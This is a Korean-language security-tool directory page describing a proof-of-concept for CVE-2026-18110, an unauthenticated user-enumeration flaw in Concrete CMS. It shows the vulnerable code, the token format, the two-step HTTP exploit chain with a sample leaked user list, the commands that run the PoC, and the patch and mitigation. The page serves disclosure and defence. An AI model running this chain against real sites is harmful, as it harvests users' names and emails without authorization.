Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-18110-PoC — CVE-2026-18110을 악용하는 Python PoC 및 Nuclei 템플릿으로, Concrete CMS 9.0.0-9.5.2의 사용자 자동 완성 엔드포인트를 통한 인증되지 않은 사용자 열거 취약점입니다. | Kitploit
도구/GitHubGitHub/flenz00/cve-2026-18110-poc
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersVulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration TestingLearning & Education
GitHubflenz00/cve-2026-18110-poc

CVE-2026-18110-PoC

CVE-2026-18110을 악용하는 Python PoC 및 Nuclei 템플릿으로, Concrete CMS 9.0.0-9.5.2의 사용자 자동 완성 엔드포인트를 통한 인증되지 않은 사용자 열거 취약점입니다.

3일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-18110 — Concrete CMS 인증되지 않은 사용자 열거

요약

Concrete CMS 9.0.0부터 9.5.2까지는 "Preview as User" 패널과 기타 사용자 선택기 컴포넌트를 지원하는 사용자 선택기 자동완성 엔드포인트(/ccm/system/user/autocomplete)에 대한 권한 검사를 수행하지 않습니다. 이로 인해 인증되지 않은 원격 공격자가 유효한 세션 또는 자격 증명 없이 전체 내부 사용자 디렉터리(사용자 ID, 사용자 이름, 이메일 주소 포함)를 열거할 수 있습니다.

이 취약점은 CSRF 토큰이 권한 부여 제어로 (오)사용되는 전형적인 사례입니다. 토큰은 요청 무결성을 증명하지만, 호출자가 사용자 목록을 조회할 권한이 있는지에 대한 실제 보안 질문에는 결코 답하지 않습니다.


영향을 받는 버전

제품영향 받는 버전수정된 버전
Concrete CMS9.0.0 – 9.5.29.5.3

취약점 세부 정보

진입점

Preview As User 패널은 concrete/routes/panels.php에 기본 경로 /ccm/system/panels 아래에 등록되어 있습니다:

GET /ccm/system/panels/page/preview_as_user

해당 컨트롤러(concrete/controllers/panel/page/preview_as_user.php)는 UserSelector::quickSelect()를 호출하여 <concrete-user-select> Vue 컴포넌트를 렌더링합니다. canAccessUserSearch()를 올바르게 검사하는 형제 메서드 selectUser()와 달리, quickSelect()는 토큰을 생성하고 삽입하기 전에 권한 검사를 수행하지 않습니다:

// concrete/src/Form/Service/Widget/UserSelector.php (취약 — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
    $userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
    // 여기에 권한 검사 없음 — 토큰이 무조건 렌더링됨
    $html = <<<EOL
    <concrete-user-select
        access-token="{$userSelectInstance->getAccessToken()}"
        label-format="{$labelFormat}"
        :include-avatar="{$includeAvatar}"
        ...
    EOL;
    return $html;
}

따라서 서버에서 렌더링된 HTML 응답은 이 경로에 접근할 수 있는 모든 방문자(인증되지 않은 방문자 포함)에게 유효한 access-token을 노출합니다.

토큰 형식

access-token 값의 형식은 다음과 같습니다:

{unix_timestamp}:{md5_hash}

여기서 해시는 서버 측에서 다음과 같이 계산됩니다:

md5( timestamp : userID : action : pepper )
  • timestamp — 생성 시점의 UNIX 시간으로, 토큰 접두사로 평문 전송됩니다.
  • userID — 생성 시점의 요청자 사용자 ID이며, 인증되지 않은 방문자의 경우 0 입니다.
  • action — 문자열 user_select:format:{labelFormat}:avatar:{includeAvatar}이며, 두 값 모두 쿼리 매개변수를 통해 공격자가 제공합니다.
  • pepper — 설치 시 한 번 생성되어 application/config/generated_overrides/concrete.php에 저장되는 64자리 무작위 비밀 값입니다.

토큰은 24시간 동안 유효하며 그 기간 내에 완전히 재사용 가능합니다 — 일회용/nonce 강제가 없습니다. 또한 하한 타임스탬프 검사도 없어 신선도 검사가 단방향입니다.

악용 체인

1. GET /ccm/system/panels/page/preview_as_user
        ↓
   서버가 다음을 포함하는 HTML로 응답:
   <concrete-user-select
       access-token="1738012345:a1b2c3d4e5f6..."
       label-format="auto"
       :include-avatar="true"
       ...>

2. POST /ccm/system/user/autocomplete
   Body: accessToken=1738012345:a1b2c3d4e5f6...
         &labelFormat=auto
         &includeAvatar=true
         &query=a
        ↓
   서버가 전체 사용자 목록으로 응답:
   [
     {"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
     {"id": 6, "primary_label": "m.rossi",  "secondary_label": "[email protected]"},
     ...
   ]

view() 내부의 checkAccess() 호출은 현재 요청의 uID(게스트의 경우 0)를 사용하여 해시를 다시 계산합니다 — 토큰도 uID=0으로 생성되었기 때문에 완벽하게 일치합니다. 검사가 통과되고 전체 사용자 디렉터리가 반환됩니다.

근본 원인 (CWE-862)

자동완성 엔드포인트의 canAccess() / checkAccess() 게이트는 토큰 무결성(위조되지 않음, 만료되지 않음)을 검증하지만 권한 부여(이 호출자가 사용자를 검색할 권한이 있는가?)는 결코 검증하지 않습니다. CSRF 토큰 유효성은 권한 검사를 대체할 수 없습니다. 동일한 컨트롤러의 getSelectedUsers()는 각 결과에 대해 Checker::canViewUser()를 올바르게 호출하지만, view()에는 이에 상응하는 검사가 없습니다.


개념 증명

이 저장소에는 Python 스크립트와 Nuclei 탐지 템플릿이 포함되어 있습니다. Python 스크립트는 단일 URL에만 사용할 수 있습니다. 여러 대상을 동시에 테스트하려면 대신 nuclei를 사용하십시오. 둘 다 위에서 설명한 2단계 체인을 자동화하고 Step 2 응답에서 확인된 사용자 데이터와 일치시킵니다.

python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com

테스트할 권한이 있는 시스템에만 사용하도록 의도되었습니다.


해결 방안

Concrete CMS 9.5.3 이상으로 업그레이드하십시오. 이 수정은 selectUser()에 이미 존재하는 canAccessUserSearch() 게이트와 일관되게 토큰 발급 단계(quickSelect())에 권한 검사를 도입하고, getSelectedUsers()에서 이미 올바르게 사용되는 Checker::canViewUser() 패턴을 반영하여 자동완성 컨트롤러의 view() 내부에 동등한 권한 검사를 추가합니다.

즉시 업그레이드가 불가능한 경우, 임시 완화책으로 웹 서버 또는 WAF 수준에서 /ccm/system/panels/에 대한 인증되지 않은 접근을 차단하는 것을 고려하십시오.


참고 자료

  • Concrete CMS — GitHub의 concretecms/concretecms
  • Concrete CMS - 수정된 릴리스
  • NVD — CVE-2026-18110

면책 조항

이 저장소는 교육 및 방어 보안 목적으로 게시되었습니다. 모든 테스트는 명시적 승인을 받은 시스템에 대해서만 수행되었습니다. 저자는 이 문서에 포함된 정보나 도구의 오용에 대해 책임지지 않습니다.

도구 다운로드